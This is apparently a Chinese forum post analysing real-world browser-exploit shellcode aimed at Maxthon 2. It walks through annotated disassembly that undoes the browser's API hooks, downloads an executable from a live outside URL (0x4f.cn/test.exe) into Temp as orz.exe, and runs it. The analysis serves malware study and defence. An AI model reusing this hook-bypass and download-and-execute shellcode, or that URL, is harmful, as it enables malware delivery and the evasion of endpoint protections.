我大膽假設,當MAXTHON2遊覽漏洞利用網頁的時候,shellcode的執行環境就在其進程中,那麼,這時shellcode從kernel32.dll的輸入表中取到的地址,正是被MAXTHON2給hook掉的結果,直接到了MAXTHON2的dll裡面去了。
這是shellcode作者有意而為之,因為接著它對這兩個地址的代碼進行了inline hook,又實際上轉回了原始的代碼。
這樣MAXTHON2就在完全沒有察覺自己的IAT HOOK失效(本來就沒有失效)的情況下,其執行保護被繞過了。

接下來的動作進一步證實了這一點,對CreateProcessInternalW開頭的代碼進行還原,這豈不是又正針對MAXTHON2對CreateProcessInternalW的inlline hook?!

00407102 8B7E 18 mov edi, dword ptr [esi+18] ; CreateProcessInternalW
00407105 E8 EF000000 call 004071F9
0040710A 68 68080A00 push 0A0868
0040710F 68 68080A00 push 0A0868
00407114 68 558BEC6A push 6AEC8B55
00407119 8B049C mov eax, dword ptr [esp+ebx*4]
0040711C AB stos dword ptr es:[edi] ; 還原前面的幾個字節,還原inline hook
0040711D 33C0 xor eax, eax
0040711F 50 push eax
00407120 50 push eax
00407121 6A FF push -1
00407123 8B049C mov eax, dword ptr [esp+ebx*4]
00407126 AA stos byte ptr es:[edi]

做完了這些操作,shellcode最後終於進入自己的實質性工作了。

首先,得到Temp文件夾地址,並在後面加入「orz.exe」,作為病毒文件的本地地址

00407127 8DBE 33010000 lea edi, dword ptr [esi+133]
0040712D 57 push edi
0040712E 68 FF000000 push 0FF
00407133 FF56 04 call dword ptr [esi+4] ; GetTempPathA
00407136 03C7 add eax, edi
00407138 C700 6F727A2E mov dword ptr [eax], 2E7A726F ; 往得到的temp文件夾路徑後面加入文件名
0040713E C740 04 6578650>mov dword ptr [eax+4], 657865 ; 加入的文件名為"orz.exe"

為保險,先嘗試把這個路徑的文件刪除。

00407145 57 push edi
00407146 FF56 08 call dword ptr [esi+8] ; DeleteFileA

然後直接調用URLDownloadToFileA,從遠程地址http://www.0x4f.cn/test.exe下載病毒文件到orz.exe

00407149 33DB xor ebx, ebx
0040714B 53 push ebx
0040714C 53 push ebx
0040714D 57 push edi
0040714E 8D46 34 lea eax, dword ptr [esi+34] ; URL地址,"http://www.0x4f.cn/test.exe"
00407151 50 push eax
00407152 53 push ebx
00407153 FF56 2C call dword ptr [esi+2C] ; URLDownloadToFileA

最後,shellcode執行所下載的文件,注意它使用了CreateProcessInternalA來進行。由於前面已經清除了對 CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保護,病毒作者堅 信此時使用CreateProcessInternalA有非常大的可能可以成功。

00407156 33C0 xor eax, eax
00407158 8BFC mov edi, esp
0040715A 6A 12 push 12
0040715C 59 pop ecx
0040715D AB stos dword ptr es:[edi]
0040715E ^ E2 FD loopd short 0040715D ; 循環,在堆棧中清出一塊全0的空間
00407160 66:C74424 3C 01>mov word ptr [esp+3C], 101
00407167 8BFC mov edi, esp
00407169 8D47 10 lea eax, dword ptr [edi+10]
0040716C 51 push ecx
0040716D 57 push edi
0040716E 50 push eax
0040716F 51 push ecx
00407170 51 push ecx
00407171 51 push ecx
00407172 51 push ecx
00407173 51 push ecx
00407174 51 push ecx
00407175 51 push ecx
00407176 8D96 33010000 lea edx, dword ptr [esi+133] ; 本地地址orz.exe
0040717C 52 push edx
0040717D 51 push ecx
0040717E FF56 0C call dword ptr [esi+C] ; CreateProcessInternalA
00407181 81C4 54020000 add esp, 254
00407187 61 popad
00407188 FF71 EC push dword ptr [ecx-14] ; 這裡應該會跳回原來溢出的位置,讓程序正常運行下去
0040718B C2 0400 retn 4

下面是前面的代碼調用到的子函數及數據。

首先是摸擬call的函數

0040718E 8B56 30 mov edx, dword ptr [esi+30] ; (14)
00407191 41 inc ecx
00407192 5B pop ebx
00407193 52 push edx
00407194 03E1 add esp, ecx
00407196 03E1 add esp, ecx
00407198 03E1 add esp, ecx
0040719A 03E1 add esp, ecx
0040719C 83EC 04 sub esp, 4
0040719F 5A pop edx
004071A0 53 push ebx
004071A1 8BDA mov ebx, edx
004071A3 ^ E2 F7 loopd short 0040719C
004071A5 52 push edx ; 返回地址入棧,這裡剛好是一個retn命令
004071A6 FFE0 jmp eax ; jmp進API函數開頭

接著是中間一個為了重定位所做的回call

004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次為了重定位而跳回,這裡必須F7

再接著是被拷貝的NATIVE API原始代碼:

004071AD 6A 29 push 29
004071AF 58 pop eax
004071B0 36:8D5424 04 lea edx, dword ptr [esp+4]
004071B5 CD 2E int 2E
004071B7 C2 2000 retn 20
004071BA 6A 30 push 30
004071BC 58 pop eax
004071BD BA 0003FE7F mov edx, 7FFE0300
004071C2 FF12 call dword ptr [edx]
004071C4 C2 2000 retn 20
004071C7 6A 32 push 32
004071C9 58 pop eax
004071CA BA 0003FE7F mov edx, 7FFE0300
004071CF FF12 call dword ptr [edx]
004071D1 C2 2400 retn 24
004071D4 B8 F0000000 mov eax, 0F0
004071D9 36:8D5424 04 lea edx, dword ptr [esp+4]
004071DE CD 2E int 2E
004071E0 C2 1400 retn 14
004071E3 B8 15010000 mov eax, 115
004071E8 EB 05 jmp short 004071EF
004071EA B8 1F010000 mov eax, 11F
004071EF BA 0003FE7F mov edx, 7FFE0300
004071F4 FF12 call dword ptr [edx]
004071F6 C2 1400 retn 14

接下來是用VirtualProtect改API函數入口的頁保護屬性的子函數

004071F9 52 push edx
004071FA 54 push esp
004071FB 6A 04 push 4
004071FD 6A 20 push 20
004071FF 57 push edi
00407200 FF56 14 call dword ptr [esi+14] ; ViturlProtect,修改函數前面0x20字節為可讀可寫
00407203 5A pop edx
00407204 C3 retn

接下來是遍歷kernel32.dll的輸入表找NATIVE API地址的函數,這些都是通用函數,shellcode用得比較多,就懶於再註釋了。

00407205 51 push ecx
00407206 8B45 3C mov eax, dword ptr [ebp+3C]
00407209 45 inc ebp
0040720A 8B5C28 7F mov ebx, dword ptr [eax+ebp+7F]
0040720E 4D dec ebp
0040720F 03DD add ebx, ebp
00407211 8B13 mov edx, dword ptr [ebx]
00407213 03D5 add edx, ebp
00407215 33C9 xor ecx, ecx
00407217 49 dec ecx
00407218 41 inc ecx
00407219 8B048A mov eax, dword ptr [edx+ecx*4]
0040721C 8D4428 02 lea eax, dword ptr [eax+ebp+2]
00407220 60 pushad
00407221 33C9 xor ecx, ecx
00407223 0FBE10 movsx edx, byte ptr [eax]
00407226 3AD6 cmp dl, dh
00407228 74 08 je short 00407232
0040722A C1C9 07 ror ecx, 7
0040722D 03CA add ecx, edx
0040722F 40 inc eax
00407230 ^ EB F1 jmp short 00407223
00407232 390F cmp dword ptr [edi], ecx
00407234 61 popad
00407235 ^ 75 E1 jnz short 00407218
00407237 8B43 10 mov eax, dword ptr [ebx+10]
0040723A 03C5 add eax, ebp
0040723C 8B0488 mov eax, dword ptr [eax+ecx*4]
0040723F AB stos dword ptr es:[edi]
00407240 59 pop ecx
00407241 C3 retn

代碼內容最後是遍歷PE文件輸出表得到API函數地址的子函數,同樣是通用的模塊,也懶於第N次註釋了:

00407242 51 push ecx
00407243 56 push esi
00407244 8B75 3C mov esi, dword ptr [ebp+3C]
00407247 8B742E 78 mov esi, dword ptr [esi+ebp+78]
0040724B 03F5 add esi, ebp
0040724D 56 push esi
0040724E 8B76 20 mov esi, dword ptr [esi+20]
00407251 03F5 add esi, ebp
00407253 33C9 xor ecx, ecx
00407255 49 dec ecx
00407256 41 inc ecx
00407257 AD lods dword ptr [esi]
00407258 03C5 add eax, ebp
0040725A 33DB xor ebx, ebx
0040725C 0FBE10 movsx edx, byte ptr [eax]
0040725F 3AD6 cmp dl, dh
00407261 74 08 je short 0040726B
00407263 C1CB 07 ror ebx, 7
00407266 03DA add ebx, edx
00407268 40 inc eax
00407269 ^ EB F1 jmp short 0040725C
0040726B 3B1F cmp ebx, dword ptr [edi]
0040726D ^ 75 E7 jnz short 00407256
0040726F 5E pop esi
00407270 8B5E 24 mov ebx, dword ptr [esi+24]
00407273 03DD add ebx, ebp
00407275 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
00407279 8B5E 1C mov ebx, dword ptr [esi+1C]
0040727C 03DD add ebx, ebp
0040727E 8B048B mov eax, dword ptr [ebx+ecx*4]
00407281 03C5 add eax, ebp
00407283 AB stos dword ptr es:[edi]
00407284 5E pop esi
00407285 59 pop ecx
00407286 C3 retn
00407287 E8 96FDFFFF call 00407022 ; (7)call回來,這裡要F7

代碼內容在這裡結束,後面是數據區,包括保存的API函數的地址(shellcode開始時為加密值,找到API地址後被替換為地址)以及下載的病毒URL,shellcode中屢屢用[esi+XX]的方式來訪問這部分內容,依照相對偏移依次為:

0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory
0x2C URLDownloadToFileA
0x30 搜索到的一句可用為retn的代碼地址
0x34 ASCII "http://www.0x4f.cn/test.exe"

至此,該shellcode分析完畢。應該說它是我見到的在實際應用中功能較為齊全的shellcode了,作者的一些構思都是有明顯實用目的的傾向的,也看出作者對編寫shellcode有一定的經驗和能力。

本篇分析只涉及shellcode所作的動作,對於此漏洞如何被觸發並使得shellcode被執行,因能力所限尚未能探究出來。

本人能力有限,這方面只是個菜鳥,以上分析難免有錯漏之處,還請大家不吝指正。

 
PUMA螢光夜跑